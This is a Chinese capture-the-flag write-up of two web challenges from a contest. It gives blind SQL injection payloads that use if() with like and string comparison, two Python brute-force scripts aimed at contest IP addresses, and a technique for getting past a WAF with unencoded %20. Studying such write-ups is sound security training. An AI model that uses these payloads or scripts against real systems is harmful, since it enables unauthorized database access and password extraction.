Nu1L主办的赛事,又划了一次水
小记Web的两道注入
77777:
代码看一下,显然是 sql注入,需要我们 post两个数据 flag和 hi,利用 hi注入,这次大部分关键字都被过滤了,发现 where,if和 like 还有
通配符”_”还在,直接构造模糊查询:
flag=2&hi=0-if((password like '_____________'),1,0)
(mypoint 返回19 就可以了)
(我本来用的where 解的,比赛结束重新试好像不行,估计是我这边解析问题,只能重新构造用 if 了)
脚本:
import urllib
import requests
keys="0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
url = "http://47.97.168.223/"
for i in range(1,10000):
for j in keys:
payload = "0-if((password like '%s____________'),1,0)" %j
data = {
"flag":"2",
"hi":payload
}
r= requests.post(url=url,data=data)
if '19' in r.content[1850:1900]:
print j
break
类似这样一位一位破就行
77777 2
我从 hackbar 端试了一下,发现几乎什么都不能用,最后我构造了 unhex:
unhex
理论上能,但是爆破几位就发现错误,我怀疑是最后的 payload 过长.......
不过队友学长那边+,%都能用,给了我启发,多半是我这边 hackbar 发送 post数据乱解析了 ( 因为新版火狐我安装的不是当年的那个hackbar 了)。
直接 BP 抓包,果然:
图片.png
最后晚上改好了脚本:
import urllib
import requests
keys="zyxwvutsrqponmlkjihgfedcba9876543210"
flag=""
url = "http://47.52.137.90:20000/"
for i in range(1,10000):
for j in keys:
payload = "0-if((+pw%20>'"+flag+j+"'),1,0)"
data = {
"flag":"2",
"hi":urllib.unquote(payload)
}
r= requests.post(url=url,data=data)
if '19' in r.content[1850:1900]:
flag+=j
print flag
break
有几点注意一下:
Python 直接post 还会被 waf,因为会url 编码,但是我们用于绕过的字符%20没编(我又抓了 python 的包看了一下):
让我想起 n年前的 cookie注入,所以这里用一下 urllib.unquote()
还有,因为用到字符串比较:>,跑最后一位可以 reverse一下 pw
网友评论